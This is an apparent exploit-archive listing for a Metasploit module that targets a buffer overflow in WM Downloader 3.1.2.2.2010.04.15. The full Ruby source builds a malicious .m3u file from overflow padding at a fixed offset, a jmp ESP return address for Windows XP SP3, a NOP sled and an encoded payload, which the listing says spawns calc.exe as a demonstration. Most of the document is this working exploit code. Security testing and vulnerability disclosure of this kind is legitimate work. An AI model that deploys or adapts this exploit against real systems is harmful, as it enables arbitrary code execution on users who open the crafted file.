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WM Downloader 3.1.2.2.2010.04.15 Buffer Overflow

WM Downloader 3.1.2.2.2010.04.15 Buffer Overflow
Posted Mar 15, 2012
Authored by KaHPeSeSe | Site metasploit.com

This Metasploit module exploits WM Downloader version 3.1.2.2.2010.04.15 that creates a malicious .m3u file that triggers a buffer overflow vulnerability to spawn calc.exe.

tags | exploit, overflow
MD5 | e3c6c88c6ebb56b903e7f39cd7fde06b

WM Downloader 3.1.2.2.2010.04.15 Buffer Overflow

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##
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'WM Downloader Version 3.1.2.2.2010.04.15 (.m3u) Buffer Overflow (MSF)',
'Description' => %q{
WM Downloader Version 3.1.2.2.2010.04.15 has buffer overflow vuln. we will create file.
File type be m3u. File name is exp.m3u if we open exp.m3u whit WM Downloader Version 3.1.2.2.2010.04.15,
we will see this "run calc.exe"
},
'License' => MSF_LICENSE,
'Author' =>
[
'KaHPeSeSe', # Found bug and wrote exploit
],
'Version' => '$Revision: $',
'References' =>
[

],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x09\x0a",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'PERFECT XP PC1 / SP3',
{
'Ret' => 0x7C86467B, # findjmp KERNEL32.DLL ESP 0x7C86467B jmp ESP
'Offset' => 17417
}
],
],
'Privileged' => false,
'DisclosureDate' => 'March 14 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'exp.m3u']),
], self.class)

end

def exploit

exp = "http://"
exp << rand_text_alpha_upper(target['Offset'])
exp << [target.ret].pack('V')
exp << "\x90" * 12
exp << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(exp)

end

end

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